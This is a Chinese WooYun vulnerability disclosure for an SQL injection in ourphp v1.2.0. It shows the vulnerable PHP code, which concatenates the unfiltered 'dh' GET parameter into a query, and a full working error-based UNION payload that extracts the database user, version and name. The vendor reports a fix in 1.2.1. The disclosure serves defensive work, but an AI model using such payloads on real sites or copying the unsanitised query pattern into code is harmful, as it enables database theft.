当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108886

漏洞标题:ourphp最新版注入漏洞又1枚(可出任意数据)

相关厂商:ourphp.net

漏洞作者: 路人甲

提交时间:2015-04-22 12:30

修复时间:2015-07-21 12:34

公开时间:2015-07-21 12:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-22: 细节已通知厂商并且等待厂商处理中
2015-04-22: 厂商已经确认,细节仅向厂商公开
2015-04-25: 细节向第三方安全合作伙伴开放
2015-06-16: 细节向核心白帽子及相关领域专家公开
2015-06-26: 细节向普通白帽子公开
2015-07-06: 细节向实习白帽子公开
2015-07-21: 细节向公众公开

简要描述:

ourphp最新版注入漏洞又1枚

详细说明:

看到wooyun上ourphp这个厂商又出新的版本了,说修改了wooyun上现有的漏洞,我也来凑凑热闹吧。下载最新版本(ourphp_v1.2.0.20150414),2015-04-14更新的,研究学习一下。
注入一枚(这个地方前面提了下个漏洞了,当时没有注意到竟然还有个参数存在注入,无心刷洞): GET /client/user/?cn-usershopping.html-&ourphp_cms=del&id=1&dh=1 其中dh未过滤,存在注入,看代码

无关代码
elseif ($_GET["ourphp_cms"] == "del"){
$query = $db-> sqllist("select `id`,`OP_Orderspay`,`OP_Orderssend` from `ourphp_orders` where `id` = ".$_GET['id']." && `OP_Ordersnumber` = '".$_GET['dh']."'");
$ourphp_rs = mysql_fetch_array($query);
if(!mysql_num_rows($query)){
exit("no!");
}
if($ourphp_rs[1] == 2){
exit("no!");
}
if($ourphp_rs[2] == 2){
exit("no!");
}

$query = $db-> sqllist("delete from `ourphp_orders` where `id` = '".$_GET['id']."'");
exit("<script language=javascript>location.replace('".$ourphp_webpath."client/user/?".$ourphp_Language."-usershopping.html');</script>");
}


直接把通过GET获得dh带入了sql语句执行,可注入出任意数据
Payload:GET提交

/client/user/?cn-usershopping.html-&ourphp_cms=del&id=1&dh=1'/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(user(),0x23,version(),0x23,database())/**/FROM/**/ourphp_admin/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a%23


测试如下图

成功.jpg


漏洞证明:

见 详细说明

修复方案:

dowith_sql

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-04-22 12:32

厂商回复:

这个以经在1.2.1中修复了

最新状态:

暂无